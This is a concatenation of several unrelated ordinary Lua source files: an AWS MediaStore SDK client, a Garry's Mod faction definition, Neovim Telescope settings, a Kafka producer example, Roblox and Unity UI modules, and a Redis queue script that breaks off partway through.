assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.ContainerPolicy(str)
asserts.AssertContainerPolicy(str)
return str
end
function asserts.AssertEndpoint(str)
assert(str)
assert(type(str) == "string", "Expected Endpoint to be of type 'string'")
assert(#str <= 255, "Expected string to be max 255 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.Endpoint(str)
asserts.AssertEndpoint(str)
return str
end
function asserts.AssertOrigin(str)
assert(str)
assert(type(str) == "string", "Expected Origin to be of type 'string'")
end
--
function M.Origin(str)
asserts.AssertOrigin(str)
return str
end
function asserts.AssertPaginationToken(str)
assert(str)
assert(type(str) == "string", "Expected PaginationToken to be of type 'string'")
assert(#str <= 255, "Expected string to be max 255 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.PaginationToken(str)
asserts.AssertPaginationToken(str)
return str
end
function asserts.AssertContainerStatus(str)
assert(str)
assert(type(str) == "string", "Expected ContainerStatus to be of type 'string'")
assert(#str <= 16, "Expected string to be max 16 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.ContainerStatus(str)
asserts.AssertContainerStatus(str)
return str
end
function asserts.AssertHeader(str)
assert(str)
assert(type(str) == "string", "Expected Header to be of type 'string'")
assert(#str <= 8192, "Expected string to be max 8192 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.Header(str)
asserts.AssertHeader(str)
return str
end
function asserts.AssertMaxAgeSeconds(integer)
assert(integer)
assert(type(integer) == "number", "Expected MaxAgeSeconds to be of type 'number'")
assert(integer % 1 == 0, "Expected a while integer number")
assert(integer <= 2147483647, "Expected integer to be max 2147483647")
end
function M.MaxAgeSeconds(integer)
asserts.AssertMaxAgeSeconds(integer)
return integer
end
function asserts.AssertContainerListLimit(integer)
assert(integer)
assert(type(integer) == "number", "Expected ContainerListLimit to be of type 'number'")
assert(integer % 1 == 0, "Expected a while integer number")
assert(integer <= 100, "Expected integer to be max 100")
assert(integer >= 1, "Expected integer to be min 1")
end
function M.ContainerListLimit(integer)
asserts.AssertContainerListLimit(integer)
return integer
end
function asserts.AssertTimeStamp(timestamp)
assert(timestamp)
assert(type(timestamp) == "string", "Expected TimeStamp to be of type 'string'")
end
function M.TimeStamp(timestamp)
asserts.AssertTimeStamp(timestamp)
return timestamp
end
function asserts.AssertContainerList(list)
assert(list)
assert(type(list) == "table", "Expected ContainerList to be of type ''table")
for _,v in ipairs(list) do
asserts.AssertContainer(v)
end
end
--
-- List of Container objects
function M.ContainerList(list)
asserts.AssertContainerList(list)
return list
end
function asserts.AssertAllowedOrigins(list)
assert(list)
assert(type(list) == "table", "Expected AllowedOrigins to be of type ''table")
for _,v in ipairs(list) do
asserts.AssertOrigin(v)
end
end
--
-- List of Origin objects
function M.AllowedOrigins(list)
asserts.AssertAllowedOrigins(list)
return list
end
function asserts.AssertAllowedHeaders(list)
assert(list)
assert(type(list) == "table", "Expected AllowedHeaders to be of type ''table")
assert(#list <= 100, "Expected list to be contain 100 elements")
for _,v in ipairs(list) do
asserts.AssertHeader(v)
end
end
--
-- List of Header objects
function M.AllowedHeaders(list)
asserts.AssertAllowedHeaders(list)
return list
end
function asserts.AssertAllowedMethods(list)
assert(list)
assert(type(list) == "table", "Expected AllowedMethods to be of type ''table")
for _,v in ipairs(list) do
asserts.AssertMethodName(v)
end
end
--
-- List of MethodName objects
function M.AllowedMethods(list)
asserts.AssertAllowedMethods(list)
return list
end
function asserts.AssertCorsPolicy(list)
assert(list)
assert(type(list) == "table", "Expected CorsPolicy to be of type ''table")
assert(#list <= 100, "Expected list to be contain 100 elements")
assert(#list >= 1, "Expected list to be contain 1 elements")
for _,v in ipairs(list) do
asserts.AssertCorsRule(v)
end
end
-- <p>The CORS policy of the container. </p>
-- List of CorsRule objects
function M.CorsPolicy(list)
asserts.AssertCorsPolicy(list)
return list
end
function asserts.AssertExposeHeaders(list)
assert(list)
assert(type(list) == "table", "Expected ExposeHeaders to be of type ''table")
assert(#list <= 100, "Expected list to be contain 100 elements")
for _,v in ipairs(list) do
asserts.AssertHeader(v)
end
end
--
-- List of Header objects
function M.ExposeHeaders(list)
asserts.AssertExposeHeaders(list)
return list
end
local content_type = require "aws-sdk.core.content_type"
local request_headers = require "aws-sdk.core.request_headers"
local request_handlers = require "aws-sdk.core.request_handlers"
local settings = {}
local function endpoint_for_region(region, use_dualstack)
if not use_dualstack then
if region == "us-east-1" then
return "mediastore.amazonaws.com"
end
end
local ss = { "mediastore" }
if use_dualstack then
ss[#ss + 1] = "dualstack"
end
ss[#ss + 1] = region
ss[#ss + 1] = "amazonaws.com"
if region == "cn-north-1" then
ss[#ss + 1] = "cn"
end
return table.concat(ss, ".")
end
function M.init(config)
assert(config, "You must provide a config table")
assert(config.region, "You must provide a region in the config table")
settings.service = M.metadata.endpoint_prefix
settings.protocol = M.metadata.protocol
settings.region = config.region
settings.endpoint = config.endpoint_override or endpoint_for_region(config.region, config.use_dualstack)
settings.signature_version = M.metadata.signature_version
settings.uri = (config.scheme or "https") .. "://" .. settings.endpoint
end
--
-- OPERATIONS
--
--- Call PutContainerPolicy asynchronously, invoking a callback when done
-- @param PutContainerPolicyInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.PutContainerPolicyAsync(PutContainerPolicyInput, cb)
assert(PutContainerPolicyInput, "You must provide a PutContainerPolicyInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.PutContainerPolicy",
}
for header,value in pairs(PutContainerPolicyInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", PutContainerPolicyInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call PutContainerPolicy synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param PutContainerPolicyInput
-- @return response
-- @return error_type
-- @return error_message
function M.PutContainerPolicySync(PutContainerPolicyInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.PutContainerPolicyAsync(PutContainerPolicyInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call DeleteCorsPolicy asynchronously, invoking a callback when done
-- @param DeleteCorsPolicyInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.DeleteCorsPolicyAsync(DeleteCorsPolicyInput, cb)
assert(DeleteCorsPolicyInput, "You must provide a DeleteCorsPolicyInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DeleteCorsPolicy",
}
for header,value in pairs(DeleteCorsPolicyInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", DeleteCorsPolicyInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call DeleteCorsPolicy synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param DeleteCorsPolicyInput
-- @return response
-- @return error_type
-- @return error_message
function M.DeleteCorsPolicySync(DeleteCorsPolicyInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.DeleteCorsPolicyAsync(DeleteCorsPolicyInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call DeleteContainerPolicy asynchronously, invoking a callback when done
-- @param DeleteContainerPolicyInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.DeleteContainerPolicyAsync(DeleteContainerPolicyInput, cb)
assert(DeleteContainerPolicyInput, "You must provide a DeleteContainerPolicyInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DeleteContainerPolicy",
}
for header,value in pairs(DeleteContainerPolicyInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", DeleteContainerPolicyInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call DeleteContainerPolicy synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param DeleteContainerPolicyInput
-- @return response
-- @return error_type
-- @return error_message
function M.DeleteContainerPolicySync(DeleteContainerPolicyInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.DeleteContainerPolicyAsync(DeleteContainerPolicyInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call GetCorsPolicy asynchronously, invoking a callback when done
-- @param GetCorsPolicyInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.GetCorsPolicyAsync(GetCorsPolicyInput, cb)
assert(GetCorsPolicyInput, "You must provide a GetCorsPolicyInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.GetCorsPolicy",
}
for header,value in pairs(GetCorsPolicyInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", GetCorsPolicyInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call GetCorsPolicy synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param GetCorsPolicyInput
-- @return response
-- @return error_type
-- @return error_message
function M.GetCorsPolicySync(GetCorsPolicyInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.GetCorsPolicyAsync(GetCorsPolicyInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call ListContainers asynchronously, invoking a callback when done
-- @param ListContainersInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.ListContainersAsync(ListContainersInput, cb)
assert(ListContainersInput, "You must provide a ListContainersInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.ListContainers",
}
for header,value in pairs(ListContainersInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", ListContainersInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call ListContainers synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param ListContainersInput
-- @return response
-- @return error_type
-- @return error_message
function M.ListContainersSync(ListContainersInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.ListContainersAsync(ListContainersInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call DescribeContainer asynchronously, invoking a callback when done
-- @param DescribeContainerInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.DescribeContainerAsync(DescribeContainerInput, cb)
assert(DescribeContainerInput, "You must provide a DescribeContainerInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DescribeContainer",
}
for header,value in pairs(DescribeContainerInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", DescribeContainerInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call DescribeContainer synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param DescribeContainerInput
-- @return response
-- @return error_type
-- @return error_message
function M.DescribeContainerSync(DescribeContainerInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.DescribeContainerAsync(DescribeContainerInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call CreateContainer asynchronously, invoking a callback when done
-- @param CreateContainerInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.CreateContainerAsync(CreateContainerInput, cb)
assert(CreateContainerInput, "You must provide a CreateContainerInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.CreateContainer",
}
for header,value in pairs(CreateContainerInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", CreateContainerInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call CreateContainer synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param CreateContainerInput
-- @return response
-- @return error_type
-- @return error_message
function M.CreateContainerSync(CreateContainerInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.CreateContainerAsync(CreateContainerInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call PutCorsPolicy asynchronously, invoking a callback when done
-- @param PutCorsPolicyInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.PutCorsPolicyAsync(PutCorsPolicyInput, cb)
assert(PutCorsPolicyInput, "You must provide a PutCorsPolicyInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.PutCorsPolicy",
}
for header,value in pairs(PutCorsPolicyInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", PutCorsPolicyInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call PutCorsPolicy synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param PutCorsPolicyInput
-- @return response
-- @return error_type
-- @return error_message
function M.PutCorsPolicySync(PutCorsPolicyInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.PutCorsPolicyAsync(PutCorsPolicyInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call DeleteContainer asynchronously, invoking a callback when done
-- @param DeleteContainerInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.DeleteContainerAsync(DeleteContainerInput, cb)
assert(DeleteContainerInput, "You must provide a DeleteContainerInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DeleteContainer",
}
for header,value in pairs(DeleteContainerInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", DeleteContainerInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call DeleteContainer synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param DeleteContainerInput
-- @return response
-- @return error_type
-- @return error_message
function M.DeleteContainerSync(DeleteContainerInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.DeleteContainerAsync(DeleteContainerInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
--- Call GetContainerPolicy asynchronously, invoking a callback when done
-- @param GetContainerPolicyInput
-- @param cb Callback function accepting three args: response, error_type, error_message
function M.GetContainerPolicyAsync(GetContainerPolicyInput, cb)
assert(GetContainerPolicyInput, "You must provide a GetContainerPolicyInput")
local headers = {
[request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version),
[request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.GetContainerPolicy",
}
for header,value in pairs(GetContainerPolicyInput.headers) do
headers[header] = value
end
local request_handler, err = request_handlers.from_protocol_and_method("json", "POST")
if request_handler then
request_handler(settings.uri, "/", GetContainerPolicyInput, headers, settings, cb)
else
cb(false, err)
end
end
--- Call GetContainerPolicy synchronously, returning when done
-- This assumes that the function is called from within a coroutine
-- @param GetContainerPolicyInput
-- @return response
-- @return error_type
-- @return error_message
function M.GetContainerPolicySync(GetContainerPolicyInput, ...)
local co = coroutine.running()
assert(co, "You must call this function from within a coroutine")
M.GetContainerPolicyAsync(GetContainerPolicyInput, function(response, error_type, error_message)
assert(coroutine.resume(co, response, error_type, error_message))
end)
return coroutine.yield()
end
return M
|
FACTION.name = "Metropolice Force"
FACTION.description = "A metropolice unit working as Civil Protection."
FACTION.color = Color(50, 100, 150)
FACTION.pay = 10
FACTION.models = {"models/police.mdl"}
FACTION.weapons = {"ix_stunstick"}
FACTION.isDefault = false
FACTION.isGloballyRecognized = true
FACTION.runSounds = {[0] = "NPC_MetroPolice.RunFootstepLeft", [1] = "NPC_MetroPolice.RunFootstepRight"}
function FACTION:OnCharacterCreated(client, character)
local inventory = character:GetInventory()
inventory:Add("pistol", 1)
inventory:Add("pistolammo", 2)
end
function FACTION:GetDefaultName(client)
return "MPF-RCT." .. Schema:ZeroNumber(math.random(1, 99999), 5), true
end
function FACTION:OnTransfered(client)
local character = client:GetCharacter()
character:SetName(self:GetDefaultName())
character:SetModel(self.models[1])
end
function FACTION:OnNameChanged(client, oldValue, value)
local character = client:GetCharacter()
if (!Schema:IsCombineRank(oldValue, "RCT") and Schema:IsCombineRank(value, "RCT")) then
character:JoinClass(CLASS_MPR)
elseif (!Schema:IsCombineRank(oldValue, "OfC") and Schema:IsCombineRank(value, "OfC")) then
character:SetModel("models/policetrench.mdl")
elseif (!Schema:IsCombineRank(oldValue, "EpU") and Schema:IsCombineRank(value, "EpU")) then
character:JoinClass(CLASS_EMP)
character:SetModel("models/leet_police2.mdl")
elseif (!Schema:IsCombineRank(oldValue, "DvL") and Schema:IsCombineRank(value, "DvL")) then
character:SetModel("models/eliteshockcp.mdl")
elseif (!Schema:IsCombineRank(oldValue, "SeC") and Schema:IsCombineRank(value, "SeC")) then
character:SetModel("models/sect_police2.mdl")
elseif (!Schema:IsCombineRank(oldValue, "SCN") and Schema:IsCombineRank(value, "SCN")
or !Schema:IsCombineRank(oldValue, "SHIELD") and Schema:IsCombineRank(value, "SHIELD")) then
character:JoinClass(CLASS_MPS)
Schema:CreateScanner(client, Schema:IsCombineRank(client:Name(), "SHIELD") and "npc_clawscanner" or nil)
end
if (!Schema:IsCombineRank(oldValue, "GHOST") and Schema:IsCombineRank(value, "GHOST")) then
character:SetModel("models/eliteghostcp.mdl")
end
end
FACTION_MPF = FACTION.index
|
local SyntaxKind = require("lunar.ast.syntax_kind")
local SyntaxNode = require("lunar.ast.syntax_node")
local Identifier = setmetatable({}, {
__index = SyntaxNode,
})
Identifier.__index = setmetatable({}, SyntaxNode)
function Identifier.new(start_pos, end_pos, name, type_annotation)
return Identifier.constructor(setmetatable({}, Identifier), start_pos, end_pos, name, type_annotation)
end
function Identifier.constructor(self, start_pos, end_pos, name, type_annotation)
SyntaxNode.constructor(self, SyntaxKind.identifier, start_pos, end_pos)
self.name = name
self.type_annotation = type_annotation
return self
end
return Identifier
|
-- Telescope
local actions = require'telescope.actions'
require'telescope'.setup {
defaults = {
file_sorter = require("telescope.sorters").get_fzy_sorter,
prompt_prefix = " >",
color_devicons = true,
previewer = true,
file_previewer = require'telescope.previewers'.vim_buffer_cat.new,
grep_previewer = require'telescope.previewers'.vim_buffer_vimgrep.new,
qflist_previewer = require'telescope.previewers'.vim_buffer_qflist.new,
mappings = {
i = {
["<C-j>"] = actions.move_selection_better,
["<C-k>"] = actions.move_selection_worse,
["<Esc>"] = actions.close
}
}
}
}
|
local BROKERS_ADDRESS = { "localhost" }
local TOPIC_NAME = "test_topic"
local config = require 'rdkafka.config'.create()
config["statistics.interval.ms"] = "100"
config:set_delivery_cb(function (payload, err) print("Delivery Callback '"..payload.."'") end)
config:set_stat_cb(function (payload) print("Stat Callback '"..payload.."'") end)
local producer = require 'rdkafka.producer'.create(config)
for k, v in pairs(BROKERS_ADDRESS) do
producer:brokers_add(v)
end
local topic_config = require 'rdkafka.topic_config'.create()
topic_config["auto.commit.enable"] = "true"
local topic = require 'rdkafka.topic'.create(producer, TOPIC_NAME, topic_config)
local KAFKA_PARTITION_UA = -1
for i = 0,10 do
producer:produce(topic, KAFKA_PARTITION_UA, "this is test message"..tostring(i))
end
while producer:outq_len() ~= 0 do
producer:poll(10)
end
|
local t = require(script.Parent.Parent.t)
local LuaEnum = require(script.Parent.LuaEnum)
--[=[
@class LuaEnumCollection
A collection of enums and enum collections
]=]
local LuaEnumCollection = {}
local function isCollectionChild(thing)
if t.some(LuaEnumCollection.is, LuaEnum.is)(thing) then
return true
end
return false, "expected a LuaEnum or a LuaEnumCollection, got " .. typeof(thing)
end
--[=[
@param children { [string]: (LuaEnum | LuaEnumCollection) }
@return LuaEnumCollection
Creates a new collection
]=]
function LuaEnumCollection.new(children)
assert(t.map(t.string, isCollectionChild))
local collection = {}
for key, value in pairs(children) do
collection[key] = value
end
setmetatable(collection, {
__enumCollection = true,
__index = function(_, key)
error(string.format("Child %q does not existing in EnumCollection", tostring(key)))
end,
__newindex = function(_, key)
error(string.format("Not allowed to set new values in EnumCollection (tried to set %q)", tostring(key)))
end,
})
table.freeze(collection)
return collection
end
--[=[
@param thing any?
@return (boolean, string)
Returns whether `thing` is a LuaEnumCollection, plus a reason message if it is not.
]=]
function LuaEnumCollection.is(thing)
if typeof(thing) ~= "table" then
return false, "expected LuaEnumCollection, got " .. typeof(thing)
end
local meta = getmetatable(thing)
if typeof(meta) ~= "table" then
return false, "expected LuaEnumCollection, got table"
end
return meta.__enumCollection ~= nil
end
-- --
return LuaEnumCollection
|
---@class ItemInfoShowWindow
---@field idShow number 道具cId
local ItemInfoShowWindow = DClass("ItemInfoShowWindow", BaseWindow)
_G.ItemInfoShowWindow = ItemInfoShowWindow
function ItemInfoShowWindow:ctor(data)
Log(string.format("查看道具基础信息 id: %d", data[1]))
self.idShow = data[1]
self.itemConfig = BagManager.getItemConfigDataById(self.idShow)
end
---刷新道具信息界面
---@param cId number 道具cId
function ItemInfoShowWindow:onUpdateUI()
if not self.itemConfig then
Log(string.format("道具ID:%d 没有找到对应配置文件", self.idShow))
return nil
end
self:onUpdateNodeItem()
self:onUpdateDetail()
self:onUpdateGet()
end
function ItemInfoShowWindow:onInit()
self.coverCallBack = self.close
self:initNodeItem()
self:initNodeDetail()
self:initNodeGet()
self:onShowNodeDetail(true)
self:onUpdateUI()
end
function ItemInfoShowWindow:initNodeItem()
self.img_BgLine = self.nodes.NodeItem.transform:Find("Item/Image_BgLine"):GetComponent(typeof(Image))
self.img_BgLine.gameObject:SetActive(false)
self.img_Bg = self.nodes.NodeItem.transform:Find("Item/Image_Bg"):GetComponent(typeof(Image))
self.img_Icon = self.nodes.NodeItem.transform:Find("Item/Image_Icon"):GetComponent(typeof(Image))
self.prefab_Star = self.nodes.NodeItem.transform:Find("Image_StarBG")
self.parent_Star = self.nodes.NodeItem.transform:Find("Stars")
self.txt_Name = self.nodes.NodeItem.transform:Find("Item/Text_Name"):GetComponent(typeof(Text))
self.listAllStars = {}
end
function ItemInfoShowWindow:initNodeDetail()
self.txt_DesTitle = self.nodes.NodeDetail.transform:Find("Text_D"):GetComponent(typeof(Text))
self.txt_Des = self.nodes.NodeDetail.transform:Find("Text_Des"):GetComponent(typeof(Text))
self.btn_Get = self.nodes.NodeDetail.transform:Find("Button_Get"):GetComponent(typeof(Button))
self:addEventHandler(
self.btn_Get.onClick,
function()
self:onClickGet()
end
)
end
function ItemInfoShowWindow:initNodeGet()
self.txt_GetDesTitle = self.nodes.NodeGet.transform:Find("Text_D"):GetComponent(typeof(Text))
self.txt_GetDes = self.nodes.NodeGet.transform:Find("Text_NoGetDes"):GetComponent(typeof(Text))
self.btn_GetDetail = self.nodes.NodeGet.transform:Find("Button_Detail"):GetComponent(typeof(Button))
self:addEventHandler(
self.btn_GetDetail.onClick,
function()
self:onClickDetail()
end
)
self.content = self.nodes.NodeGet.transform:Find("View/Viewport/ContentV"):GetComponent(typeof(ScrollPoolVertical))
end
function ItemInfoShowWindow:onClickGet()
self:onShowNodeDetail(false)
end
function ItemInfoShowWindow:onClickDetail()
self:onShowNodeDetail(true)
end
function ItemInfoShowWindow:onShowNodeDetail(show)
self.nodes.NodeDetail.gameObject:SetActive(show)
self.nodes.NodeGet.gameObject:SetActive(not show)
end
---刷新头像
function ItemInfoShowWindow:onUpdateNodeItem()
self.txt_Name.text = self.itemConfig.name
local pathQualityLine = string.format("%sGoods_Quality%02d", BagManager.pathItemQuality, self.itemConfig.item_bg)
self:setSprite(self.img_BgLine, pathQualityLine)
local pathQuality = string.format("%sQuality_Big%02d", BagManager.pathItemQuality, self.itemConfig.item_bg)
self:setSprite(self.img_Bg, pathQuality)
self:setSprite(self.img_Icon, BagManager.pathItemIcon .. self.itemConfig.item_icon)
for key, value in pairs(self.listAllStars) do
value.gameObject:SetActive(false)
end
for i = 1, self.itemConfig.star_max do
local starShow = self:getStarObj(i)
local star = starShow.transform:Find("Image_Star")
star.gameObject:SetActive(self.itemConfig.star >= i)
end
end
--获取可服用的星星
function ItemInfoShowWindow:getStarObj(index)
if index > #self.listAllStars then
local star = GameObject.Instantiate(self.prefab_Star, self.parent_Star.transform)
star.transform.localScale = Vector2(1, 1)
star.gameObject:SetActive(true)
table.insert(self.listAllStars, star.gameObject)
return star.gameObject
else
for key, value in pairs(self.listAllStars) do
if not value.gameObject.activeSelf then
value.gameObject:SetActive(true)
return value.gameObject
end
end
end
end
---刷新描述
function ItemInfoShowWindow:onUpdateDetail()
self.txt_DesTitle.text = self.itemConfig.des
self.txt_Des.text = self.itemConfig.bg_des
end
---刷新跳转
function ItemInfoShowWindow:onUpdateGet()
local itemGo = self.itemConfig.item_go
if itemGo == nil or #itemGo <= 0 then
self.txt_GetDesTitle.gameObject:SetActive(true)
self.txt_GetDes.gameObject:SetActive(true)
self.content.gameObject:SetActive(false)
self.txt_GetDes.text = self.itemConfig.jump_des
else
self.txt_GetDesTitle.gameObject:SetActive(false)
self.txt_GetDes.gameObject:SetActive(false)
self.content.gameObject:SetActive(true)
self:initView()
end
end
---初始化跳转列表
function ItemInfoShowWindow:initView()
local configGo = self.itemConfig.item_go
self.listPathView = {}
self.content:InitPool(
#configGo,
function(index, obj)
local value = configGo[index]
local config = Config.ItemJump[value]
local text_Des = obj.transform:Find("Text_Des"):GetComponent(typeof(Text))
local btn_Go = obj.transform:Find("Button_Go"):GetComponent(typeof(Button))
self:addEventHandler(
btn_Go.onClick,
function()
self:goFuncion(config)
end
)
local btn_Disable = obj.transform:Find("Button_Disable"):GetComponent(typeof(Button))
self:addEventHandler(
btn_Disable.onClick,
function()
self:disableFuncion(config)
end
)
btn_Disable.gameObject:SetActive(false)
---暂时关闭未开放按钮
text_Des.text = config.name
local _item = {}
_item.obj = obj
table.insert(self.listPathView, _item)
end
)
end
|
-- This script takes the name of the queue and then checks
-- for any expired locks, then inserts any scheduled items
-- that are now valid, and lastly returns any work items
-- that can be handed over.
--
-- Keys:
-- 1) queue name
-- Args:
-- 1) worker name
-- 2) the number of items to return
-- 3) the current time
if #KEYS ~= 1 then
if #KEYS < 1 then
error('Pop(): Expected 1 KEYS argument')
else
error('Pop(): Got ' .. #KEYS .. ', expected 1 KEYS argument')
end
end
local queue = assert(KEYS[1] , 'Pop(): Key "queue" missing')
local key = 'ql:q:' .. queue
local worker = assert(ARGV[1] , 'Pop(): Arg "worker" missing')
local count = assert(tonumber(ARGV[2]) , 'Pop(): Arg "count" missing or not a number: ' .. (ARGV[2] or 'nil'))
local now = assert(tonumber(ARGV[3]) , 'Pop(): Arg "now" missing or not a number: ' .. (ARGV[3] or 'nil'))
-- We should find the heartbeat interval for this queue
-- heartbeat
local _hb, _qhb = unpack(redis.call('hmget', 'ql:config', 'heartbeat', queue .. '-heartbeat'))
local expires = now + tonumber(_qhb or _hb or 60)
-- The bin is midnight of the provided day
-- 24 * 60 * 60 = 86400
local bin = now - (now % 86400)
-- These are the ids that we're going to return
local keys = {}
-- Make sure we this worker to the list of seen workers
redis.call('zadd', 'ql:workers', now, worker)
if redis.call('sismember', 'ql:paused_queues', queue) == 1 then
return {}
end
-- Iterate through all the expired locks and add them to the list
-- of keys that we'll return
for index, jid in ipairs(redis.call('zrangebyscore', key .. '-locks', 0, now, 'LIMIT', 0, count)) do
-- Remove this job from the jobs that the worker that was running it has
local w = redis.call('hget', 'ql:j:' .. jid, 'worker')
redis.call('zrem', 'ql:w:' .. w .. ':jobs', jid)
-- For each of these, decrement their retries. If any of them
-- have exhausted their retries, then we should mark them as
-- failed.
if redis.call('hincrby', 'ql:j:' .. jid, 'remaining', -1) < 0 then
-- Now remove the instance from the schedule, and work queues for the queue it's in
redis.call('zrem', 'ql:q:' .. queue .. '-work', jid)
redis.call('zrem', 'ql:q:' .. queue .. '-locks', jid)
redis.call('zrem', 'ql:q:' .. queue .. '-scheduled', jid)
local group = 'failed-retries-' .. queue
-- First things first, we should get the history
local history = redis.call('hget', 'ql:j:' .. jid, 'history')
-- Now, take the element of the history for which our provided worker is the worker, and update 'failed'
history = cjson.decode(history or '[]')
history[#history]['failed'] = now
redis.call('hmset', 'ql:j:' .. jid, 'state', 'failed', 'worker', '',
'expires', '', 'history', cjson.encode(history), 'failure', cjson.encode({
['group'] = group,
['message'] = 'Job exhuasted retries in queue "' .. queue .. '"',
['when'] = now,
['worker'] = history[#history]['worker']
}))
-- Add this type of failure to the list of failures
redis.call('sadd', 'ql:failures', group)
-- And add this particular instance to the failed types
redis.call('lpush', 'ql:f:' .. group, jid)
